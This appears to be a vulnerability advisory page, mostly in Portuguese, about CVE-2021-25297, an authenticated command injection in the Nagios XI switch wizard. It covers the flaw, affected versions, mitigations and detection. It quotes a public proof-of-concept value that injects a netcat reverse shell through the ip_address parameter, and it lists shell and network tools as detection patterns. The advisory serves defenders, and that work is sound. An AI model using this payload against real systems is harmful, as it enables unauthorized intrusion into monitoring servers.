← back
CVE-2021-25297highunder attackCWE-78

CVE-2021-25297

98Vexday Risk Score

Patch now. It under exploitation confirmed by CISA and has a working public exploit.

ssvc Actcvss 8.8epss 56%
from disclosure to weapon0 days
Published on NVDFeb 15
metasploitFeb 13
CISA KEV+337d
exploitation probability
56%top 1% of all CVEs
observed exploitation
yesCISA + VulnCheck
2 public exploit(s)
Action required by CISAfederal deadline: 2022-02-01

Apply updates per vendor instructions.

Summary

Injeção de comando OS autenticada no assistente de configuração de switches (SNMP) do Nagios XI, explorável por qualquer usuário autenticado — inclusive contas sem privilégio de administrador. É a mesma classe de falha (exec() com input não sanitizado) encontrada em pelo menos outras três CVEs do mesmo pesquisador na mesma versão, e está no catálogo KEV da CISA com exploração confirmada em campo, o que eleva a prioridade além do que o CVSS 8.8 já sugere.

Technical detail

O ponto vulnerável é a função switch_configwizard_add_cfg_to_mrtg() em /usr/local/nagiosxi/html/includes/configwizards/switch/switch.inc.php. O parâmetro ip_address, recebido via HTTP no assistente de monitoramento (monitoringwizard.php, wizard=switch), chega como $address sem qualquer sanitização e é usado para montar o nome de arquivo MRTG ($mrtg_cfg_file = "{$address}.cfg") e o caminho absoluto correspondente. Esse caminho é então concatenado diretamente dentro de um comando shell passado a exec(): exec("sed -i '1s|.*|{$infoline}&|' $absolute_mrtg_cfg_file"). Como não há escaping (nem escapeshellarg/escapeshellcmd) nem validação de formato de IP antes dessa concatenação, qualquer metacaractere de shell (;, |, &&, backticks) injetado no valor de ip_address é interpretado pelo shell no momento da execução.

É classificada como CWE-78 (Improper Neutralization of Special Elements used in an OS Command) e, na entrada do KEV, também como CWE-138 (Improper Neutralization of Special Elements). A causa raiz é típica de código legado que confia em input vindo de um formulário HTML sem tratar esse input como potencialmente hostil antes de repassá-lo a uma chamada de sistema.

O atacante controla integralmente o conteúdo do parâmetro ip_address enviado na requisição HTTP; o processo Nagios XI (tipicamente rodando como usuário de serviço com privilégios elevados de administração do host de monitoramento) executa o comando resultante.

How it’s exploited

A exploração ocorre via uma única requisição HTTP para o endpoint monitoringwizard.php com wizard=switch, nextstep apontando para o estágio em que o valor de ip_address é processado, e um token CSRF (parâmetro nsp) válido — o que exige uma sessão autenticada ativa no Nagios XI. A prova de conceito pública demonstra que ip_address=127.0.0.1;nc -e /bin/sh 127.0.0.1 4445; é suficiente para abrir um shell reverso; não há necessidade de privilégio de administrador, apenas de qualquer conta autenticada com acesso ao assistente de configuração de switches.

Esse é o ponto que a descrição oficial ("authenticated user-controlled input") deixa ambíguo: na prática, contas de baixo privilégio no Nagios XI — que em muitos ambientes são distribuídas mais livremente do que contas de admin de infraestrutura — bastam para acionar a falha. Isso amplia consideravelmente a superfície de ataque em relação à leitura apressada de "precisa estar logado".

A CISA confirma exploração ativa em campo (KEV, adicionada em 18/01/2022, prazo de correção 01/02/2022) e existe módulo Metasploit e template Nuclei públicos, o que reduz a complexidade de exploração a praticamente zero para quem já tem uma credencial válida (obtida por força bruta, credential stuffing, ou phishing contra operadores de monitoramento).

Versions

Affected
Oficialmente, o fornecedor associa o CVE-2021-25297 à versão xi-5.7.5. Pesquisa independente (Fastly) demonstrou que a mesma classe de injeção de comando nos assistentes de configuração está presente desde a versão 5.5.6 até a 5.7.5.
Fixed in
Não há, nas fontes consultadas, um changelog oficial do fornecedor que declare explicitamente a versão que corrige o CVE-2021-25297. O histórico de releases do Nagios mostra a 5.8.0 lançada em 15/01/2021, imediatamente após a 5.7.5 (08/12/2020) e antes da divulgação pública da falha — trate como indicativo, não como confirmação, e valide a correção na versão atualmente suportada antes de considerar o ambiente remediado.

How to protect

O caminho correto é atualizar o Nagios XI para uma versão posterior à 5.7.5. As fontes analisadas não trazem um changelog oficial que declare explicitamente em qual build o fornecedor corrigiu o CVE-2021-25297; o histórico de releases mostra que a 5.8.0 foi publicada em 15/01/2021, pouco antes da divulgação pública da falha (fevereiro/2021) — trate essa versão como candidata mínima razoável, mas confirme no advisory/changelog do fornecedor antes de considerar o ambiente corrigido, e prefira a linha atual suportada (5.11.x ou as séries 2024R1/2024R2/2026R1) sempre que possível.

Se a atualização não for viável de imediato, o controle compensatório real é restringir o acesso à interface web do Nagios XI a redes de gestão/VPN e reduzir o número de contas com acesso ao módulo de assistentes de configuração (configwizards), já que a exploração não exige privilégio de administrador — apenas autenticação válida. Regras de WAF que bloqueiem metacaracteres de shell (;, |, &, backtick, $()) no parâmetro ip_address de monitoringwizard.php mitigam parcialmente, mas não substituem o patch, pois dependem de cobertura completa de encoding e variantes de payload.

O que não funciona como mitigação: assumir que restringir a criação de contas de administrador resolve o problema — a PoC documentada funciona com autenticação não-admin. Também não basta desabilitar apenas o assistente 'switch' na interface, se a rota de API/URL correspondente (monitoringwizard.php) continuar acessível diretamente.

How to detect

Nos logs de acesso web, procure requisições a monitoringwizard.php com wizard=switch e o parâmetro ip_address contendo metacaracteres de shell (;, |, &&, backtick, $()) fora do formato esperado de endereço IP ou hostname. No lado do sistema, monitore a árvore de processos filhos do processo web/PHP do Nagios XI (apache/php-fpm executando como usuário do serviço nagios) por execução de shells, netcat, curl/wget ou interpretadores incomuns imediatamente após uma requisição a esse endpoint.

Não há um indicador único e confiável além desses padrões de payload — como a exploração passa por um parâmetro de formulário legítimo e requer apenas uma sessão autenticada válida, tráfego malicioso pode se misturar facilmente com uso legítimo do assistente se não houver logging detalhado de parâmetros de requisição habilitado previamente.

Researched and written with AI from the vendor advisory and public analysis, with the sources above. Always confirm the fixed version in the official advisory before acting.
Nagios XI version xi-5.7.5 is affected by OS command injection. The vulnerability exists in the file /usr/local/nagiosxi/html/includes/configwizards/switch/switch.inc.php due to improper sanitization of authenticated user-controlled input by a single HTTP request, which can lead to OS command injection on the Nagios XI server.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Affected products
n/a · n/a
⚠ Public resources, to assess the exposure of systems you control or are authorized to test. Test only with authorization.